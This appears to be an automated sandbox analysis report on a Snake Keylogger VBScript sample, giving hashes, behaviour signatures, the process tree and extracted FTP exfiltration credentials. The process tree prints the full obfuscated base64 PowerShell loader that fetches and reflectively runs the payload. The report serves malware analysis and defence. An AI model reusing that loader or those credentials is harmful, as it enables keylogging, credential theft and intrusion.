Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250207-en -
resource tags
arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system -
submitted
11-02-2025 07:07
Static task
static1
Behavioral task
behavioral1
Sample
Bin.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Bin.vbs
Resource
win10v2004-20250207-en
General
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Target
Bin.vbs
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Size
91KB
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MD5
fbd28eace3a4bf6b63c4541e2f04de3b
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SHA1
cde00b20638de8639b7b3939ce03c6c56536972c
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SHA256
bb5552af840deeb6af6350e2775830b9b1aad9bedd4bdf4dd24cb9e8869b171c
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SHA512
8cd0b1b0321048ee7efc2ef325d9d952580196e27b3c06e1fd000969b8217dd74e300db6c59c004ec95c74283aa3844f20b27d87b3f9fff97697d176cd855776
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SSDEEP
1536:Mf16p00Re/4zkuaLIl4lUKpYVRZY9KK5swYdP/ix+IqISDQYpB5nuN84Xr:E16p00o/4zkua3lUKqfmuIwILbYpEXr
Malware Config
Extracted
Protocol: ftp- Host:
50.31.176.103 - Port:
21 - Username:
[email protected] - Password:
*ett%eUVAZK?
Extracted
snakekeylogger
Protocol: ftp- Host:
ftp://50.31.176.103/ - Port:
21 - Username:
[email protected] - Password:
*ett%eUVAZK?
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 1 IoCs
resource yara_rule behavioral2/memory/756-35-0x0000000008330000-0x0000000008356000-memory.dmp family_snakekeylogger -
Snakekeylogger family
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Blocklisted process makes network request 5 IoCs
flow pid Process 7 756 powershell.exe 11 756 powershell.exe 35 756 powershell.exe 53 756 powershell.exe 55 756 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 756 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 43 2876 Process not Found -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_fbab358f.cmd powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_fbab358f.cmd powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 powershell.exe Key opened \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 powershell.exe Key opened \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 checkip.dyndns.org 32 reallyfreegeoip.org 35 reallyfreegeoip.org -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MicrosoftEdgeUpdate.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4980 MicrosoftEdgeUpdate.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 756 powershell.exe 756 powershell.exe 756 powershell.exe 756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 756 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 264 wrote to memory of 2860 264 WScript.exe 86 PID 264 wrote to memory of 2860 264 WScript.exe 86 PID 2860 wrote to memory of 4528 2860 cmd.exe 88 PID 2860 wrote to memory of 4528 2860 cmd.exe 88 PID 4528 wrote to memory of 756 4528 cmd.exe 92 PID 4528 wrote to memory of 756 4528 cmd.exe 92 PID 4528 wrote to memory of 756 4528 cmd.exe 92 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 powershell.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2499155680-3253481302-763015360-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bin.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:264 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\n8Q1p6YMDl6dJd.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n8Q1p6YMDl6dJd.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdwd3lhaGx6Y2VvdGd5YXFpcHd5YWhsemNlb3RneWFxd3B3eWFobHpjZW90Z3lhcXJwd3lhaGx6Y2VvdGd5YXEgcHd5YWhsemNlb3RneWFxLXB3eWFobHpjZW90Z3lhcVVwd3lhaGx6Y2VvdGd5YXFzcHd5YWhsemNlb3RneWFxZXB3eWFobHpjZW90Z3lhcUJwd3lhaGx6Y2VvdGd5YXFhcHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcWlwd3lhaGx6Y2VvdGd5YXFjcHd5YWhsemNlb3RneWFxUHB3eWFobHpjZW90Z3lhcWFwd3lhaGx6Y2VvdGd5YXFycHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcWlwd3lhaGx6Y2VvdGd5YXFucHd5YWhsemNlb3RneWFxZ3B3eWFobHpjZW90Z3lhcSAicHd5YWhsemNlb3RneWFxaHB3eWFobHpjZW90Z3lhcXRwd3lhaGx6Y2VvdGd5YXF0cHd5YWhsemNlb3RneWFxcHB3eWFobHpjZW90Z3lhcXNwd3lhaGx6Y2VvdGd5YXE6cHd5YWhsemNlb3RneWFxL3B3eWFobHpjZW90Z3lhcS9wd3lhaGx6Y2VvdGd5YXEwcHd5YWhsemNlb3RneWFxeHB3eWFobHpjZW90Z3lhcTBwd3lhaGx6Y2VvdGd5YXEucHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcXRwd3lhaGx6Y2VvdGd5YXEvcHd5YWhsemNlb3RneWFxOHB3eWFobHpjZW90Z3lhcUtwd3lhaGx6Y2VvdGd5YXF1cHd5YWhsemNlb3RneWFxVnB3eWFobHpjZW90Z3lhcS5wd3lhaGx6Y2VvdGd5YXFwcHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcTFwd3lhaGx6Y2VvdGd5YXEiJykuUmVwbGFjZSgncHd5YWhsemNlb3RneWFxJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIHZ5dWV6KCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnWGdBdG8yZk1pVTZ2dWtnNlBqYUp3NTB5dXF3MSs3dnFvTVpYdFZ0bFo1WT0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2htdmRhRll5dVFKVEc5K0FNcENMMUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcWxybGsoJHBhcmFtX3Zhcil7CUlFWCAnJHd0cmtpPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGZ2a2NxPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckemJta2c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkd3Rya2ksIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHpibWtnLkNvcHlUbygkZnZrY3EpOwkkemJta2cuRGlzcG9zZSgpOwkkd3Rya2kuRGlzcG9zZSgpOwkkZnZrY3EuRGlzcG9zZSgpOwkkZnZrY3EuVG9BcnJheSgpO31mdW5jdGlvbiBsZmZkZSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckZ3ZsdXU9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRvaHpwaz0kZ3ZsdXUuQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckb2h6cGsuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRlaGUgPSAkZW52OlVTRVJOQU1FOyRlanhscSA9ICdDOlxVc2Vyc1wnICsgJGVoZSArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGVqeGxxOyRkYWxzdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGVqeGxxKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWpmIGluICRkYWxzdSkgewlpZiAoJG1qZi5TdGFydHNXaXRoKCc6OicpKQl7CQkkZWtqdHE9JG1qZi5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kdXZxaXM9W3N0cmluZ1tdXSRla2p0cS5TcGxpdCgnXCcpO0lFWCAnJG5oY3JhPXFscmxrICh2eXVleiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCR1dnFpc1swXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRkbXVhbz1xbHJsayAodnl1ZXogKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkdXZxaXNbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7bGZmZGUgJG5oY3JhICRudWxsO2xmZmRlICRkbXVhbyAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:756
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C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RDNBRkNGMTEtMjg0OC00QUYzLTk3MTYtREQ4OTE2NTBBODEyfSIgdXNlcmlkPSJ7QjYyMkJBNTMtMkRFQy00MDU4LUIxRUUtNjg0NEFDNjU1RTY0fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NThCNTBFNzQtOUE1MS00NkRDLUJBNzktMTdFNDMwRTQyQ0I4fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDQ0OTciIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxNjkzODEzMjAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0OTcxMjYyMTIyIi8-PC9hcHA-PC9yZXF1ZXN0Pg1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4980
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
86KB
MD5dff674c49255d17b01e8b0673b1ee544
SHA1c858778dc3b0e68cad12078bd8dd50a49d59f58e
SHA2560cef816d13595f508a648c042b66c14dd5edda1e86f2cf8a626ecc8b6169613c
SHA512af976a26a61cf2f0d4a615e2be498b0d4c9f2892233fa69c42e176874aafcf5537ed1a038d528439b3cb80b2c7a32318a76901fe19e2e692cfca817c4d4423e3